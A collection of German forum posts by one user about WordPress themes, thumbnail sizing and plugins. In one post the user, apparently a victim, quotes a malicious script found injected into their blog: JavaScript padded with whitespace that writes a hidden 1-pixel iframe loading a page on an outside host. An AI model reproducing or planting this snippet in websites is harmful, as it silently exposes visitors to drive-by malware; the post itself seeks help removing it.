Beiträge von lacer92

lacer92

hat erstmal gar keinen effekt... wenn ich dann in der .css die heigth auf 100px lege, sehen die Bilder wieder gestreckt aus..
gibt es denn nicht eine möglichkeit via php oder css zu sagen:
"zeige das bild in width: 200px heigth: 100px an - schneide den rest weg"?

lacer92

Hallo Leute.
wir sind gerade dabei eine neue Seite aufzubauen und wollen dazu das Theme "Acht" von Oliver Gast nutzen.
Tolles Theme, Anpassungen sind fast durch.
Jedoch gibt es da ja oben unter dem Menü die 4 Artikel. Diese haben wir auf "Zufallsartikel" gestellt. Also immer 4 Random-Posts.
Jedoch sind im Theme ansich die Bilder uns zu klein gewesen. Deswegen haben wir nun größere Bilder verwendet.
Die dazugehörigen Codes:
top-artikel.php:

PHP

<div class="topthumb">                             <?php                             if(has_post_thumbnail()) {                            the_post_thumbnail('thumbnail', array('title' => '' )); // gib den Post-Thumb aus, wenn vorhanden                            } else {                            echo '<img src="'.get_bloginfo("template_url").'/images/thumb_100.png" />'; // sonst zeig einen Standard-Thumb                            }                            ?>                        </div><!--thumb-->

und in der style.css

Code

.top_artikel {    position: relative;
    float: left;
    width: 100%;
    background: #f7f7f7;
    margin: 0 0 0 -20px;
    padding: 20px;
    z-index: 99;
}




.top_artikel h4 {
    margin: 0 0 10px 0;
    text-transform: normal;
    font-size: 1em;
    font-weight: bold;
}




.top_artikel a:hover {
    text-decoration: underline;
}




.top_artikel ul {
    margin: 0;
}




.top_artikel ul:hover > li {
    opacity: 0.3;
}




.top_artikel ul:hover > li:hover {
    opacity: 1;
}




.top_artikel li {
    position: relative;
    float: left;
    width: 24.25%;
    margin: 10px 1% 0 0;
    list-style: none;
    transition: 0.4s ease;
    -o-transition: 0.4s ease;
    -moz-transition: 0.4s ease;
    -webkit-transition: 0.4s ease;
    line-height: 1.25;
}




.top_artikel li:last-child {
    margin: 10px 0 0 0;
}




.top_artikel .title {
    position: absolute;
    bottom: 0;
    width: 100%;
    background: rgba(255,255,255,0.7);
    padding: 5px 10px;
    font-size: 0.9em;
    text-align: right;
    color: #222;
    line-height: 1.1em;
        word-wrap: break-word;
    -webkit-box-sizing:border-box;
    -moz-box-sizing: border-box;
    -ms-box-sizing: border-box;
    box-sizing: border-box;
    -webkit-border-radius: 5px;
    -moz-border-radius: 5px;
    border-radius: 5px;
}




.top_artikel .title span {
    font-weight: bold;
}




.top_artikel .inhalt {
    position: absolute;
    top: 110px;
    width: 100%;
    background: #eee;
    margin: 0;
    padding: 0 10px;
    font-size: 0.9em;
    -webkit-box-sizing:border-box;
    -moz-box-sizing: border-box;
    -ms-box-sizing: border-box;
    box-sizing: border-box;
    -webkit-box-shadow: 0 0 10px #ccc;
    -moz-box-shadow: 0 0 10px #ccc;
    box-shadow: 0 0 10px #ccc;
    -webkit-border-radius: 5px;
    -moz-border-radius: 5px;
    border-radius: 5px;
    display: none;
    z-index: 999;
}




.top_artikel .inhalt:before {
    position: absolute;
    content: "";
    top: -20px;
    left: 20px;
    width: 0;
    height: 0;
    border-top: 10px solid transparent;
    border-bottom: 10px solid #eee;
    border-left: 10px solid transparent;
    border-right: 10px solid transparent;
}




.top_artikel li:hover .inhalt {
    display: block;
}




.top_artikel .kommentaranzahl {
    position: absolute;
    top: -5px;
    left: -5px;
    background: #a90329;
    padding: 3px 10px;
    font-size: 0.9em;
    font-weight: bold;
    color: #fff;
    border: 2px solid #fff;
    -webkit-border-radius: 25px;
    -moz-border-radius: 25px;
    border-radius: 25px;
    -webkit-box-shadow: 0 0 3px #777;
    -moz-box-shadow: 0 0 3px #777;
    box-shadow: 0 0 3px #777;
    z-index: 1;
}




.top_artikel .kommentaranzahl a {
    color: #fff;
}




.topthumb {
    width: 200px;
    height: auto;
    float: none;
    align:center;
}
#topthumb {
    position: absolut;
    width: 200px;
    height: auto;
    align: center;
}
.topthumb img {
    margin-bottom: 1%;
    width: 200px;
    height: auto;
}

Alles anzeigen

hier mal ein Screenshot wie es gerade aussieht

sicher wird euch auffallen, dass die Bilder alle unterschiedlich groß sind. Das versuchen wir nun mit unseren wenigen Kenntnissen zu ändern. Bis jetzt hatten wir die Bilder aber nur gestreckt oder gestaucht hinbekommen. Das sah aber auch schei*** aus.

Leider kann man das gerade noch nicht in Aktion sehen, da wir noch nicht online sind...

Achso: in den Einstellunger zur Mediathek habe ich die Thumbs aus 200px zu 100px Eingestellt. Der Harken "Beschneide......" ist nicht gesetzt. Haben aber auch mit Harken keine Änderungen gesehen.

Wäre cool und nett wenn jemand dazu ne Lösung weiß.

lacer92

ok habe es nun glaube ich geschafft alles was dazu gehörte zu entfernen.

lacer92

ja das ist mir klar.. nur wie behebe ich das Problem? Muss ich nun die Codes aller Plugins durchschauen? Oder wo finde ich es am wahrscheinlichsten?

lacer92

Hallo zusammen
habe gerade via Twitter von nem Freund die Meldung bekommen, dass mein Blog einen Fehler hat. Ihm wird angezeigt:
https://twitter.com/Samsungblognew…4486528/photo/1

Nun habe ich im Quelltext dann dieses Script gefunden

Code

<script type="text/javascript" language="javascript" >                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (function () {    var dkih = document.createElement('iframe');    dkih.src = 'http://varmeteknik.se/wp-admin/count.php';    dkih.style.position = 'absolute';    dkih.style.border = '0';    dkih.style.height = '1px';    dkih.style.width = '1px';    dkih.style.left = '1px';    dkih.style.top = '1px';    if (!document.getElementById('dkih')) {        document.write('<div id=\'dkih\'></div>');        document.getElementById('dkih').appendChild(dkih);    }})();</script>

Liegt in Zeile 104 im Quelltext...
Link zum Blog
Foto-News-Blog

weiß jemand villt ne Lösung..ggf. ob es Plugin sein kann und wenn ja welches?? Am Theme liegt es nicht, habe zum Test mal auf twenty eleven umgestellt gehabt und da war das selbe Problem...
Danke

lacer92

hi
schnappe dir mal die index.php und suche nach einem php code wo 'read more" drin steht. das musst du dann nach 'weiterlesen' ändern.
dies kann z.b. so aussehen <?php the_content('read more); ?> <- ist aus einem anderen theme..

lacer92

AW: Twenty-Eleven: vielezuviel style-Angaben im Quelltext

Naja also man kann z. B. Einen css compressor nutzen.. Das macht aber bei twenty eleven Probleme kann ich aus Erfahrung sagen.
Das meiste wird halt alles zur Darstellung benötigt.
Man kann dies zwar in eine andere css umlagern.. Kostet aber glaube ich ein weiteres PHP Script.

lacer92

wordpress.com verbietet werbung bei Kostenlosen Blogs. Wenn man sich bei wordpress.com eine .com .net etc domain kauft darf man werbung schalten mit anteiliger Abgabe in recht hohen Prozenten 50% (?) oder so..

lacer92

ich hatte das Problem mal, wo die css in nem zusätzlichen unterordner abgeodnet war.
also wen du die .zip entpackst muss der ordner "Themename" -> und darin direkt die files.

lacer92

und ein Plugin gibt es dafür nicht???

lacer92

okey danke.. ist vermutlich nicht so einfach einzupassen ne???
hab keine php kenntnisse und nur wenig in html und css...

lacer92

es gibt einige Themes die kein eigenes Menü zulassen.
Hier wäre schön zu wissen, welches Theme

lacer92

Hallo
unter Einstellungen -> Mediathek kannst du oben alle Bildgrößen Bearbeiten.
Kannst da ja rumexperimentieren was dir passt.
Gruß Mirko

lacer92

das sind ja nur die Standardnavigationen. Ich meine nicht die navi sonder wie bei den o.g. Seiten dass gleich die artikel der nächsten seite aufgeführt werden

lacer92

Hallo,
habe gerade beim Cashy und bei den mobilegeeks weit unten ein Feld gefunden dass die Artikel der nächsten Seite anzeigt..
http://mobilegeeks.de/
http://stadt-bremerhaven.de/

gibt es dafür einen Code oder ein Plugin für??

Ebenfalls noch auf der Suche nach: Letzte Artikel Matrix

lacer92

Hallo zusammen

ich bin schon seit einiger Zeit auf der Suche, habe aber bis jetzt nichts passendes gefunden...
Und zwar suche ich eine Möglichkeit, also ein Plugin, womit man die letzten Artikel, ggf auch von einzelnen Kategorien, in einer Matrix anzeigen lassen kann. Dies soll natürlich im Header passieren.
Für die die sich nichts daruntrer vorstellen können:

http://allaboutsamsung.de/
http://mobilegeeks.de/
http://www.theverge.com/

Und bei den Seitenist ja oben im Header auch so eine Matrix. So etwas wäre echt cool.

Es soll also kein Slider sein, diese finde ich nicht so toll..
Danke für jede Hilfe :)

Willkommen! Melden Sie sich an oder registrieren Sie sich.

Beiträge von lacer92

ACHT - "Top-artikel" Anpassen

ACHT - "Top-artikel" Anpassen

Schwerer Fehler auf der Seite

Schwerer Fehler auf der Seite

Schwerer Fehler auf der Seite

Read me auf "WEiterlesen" ändern

Twenty-Eleven: vielezuviel style-Angaben im Quelltext

Werbung auf Blog schalten

Fehler beim Theme hochladen angeblich fehlende style.css

weiter auf Seite 2

weiter auf Seite 2

Probleme bein individuellen Menue erstellen

Fotogröße

weiter auf Seite 2

weiter auf Seite 2

Letzte Artikel Matrix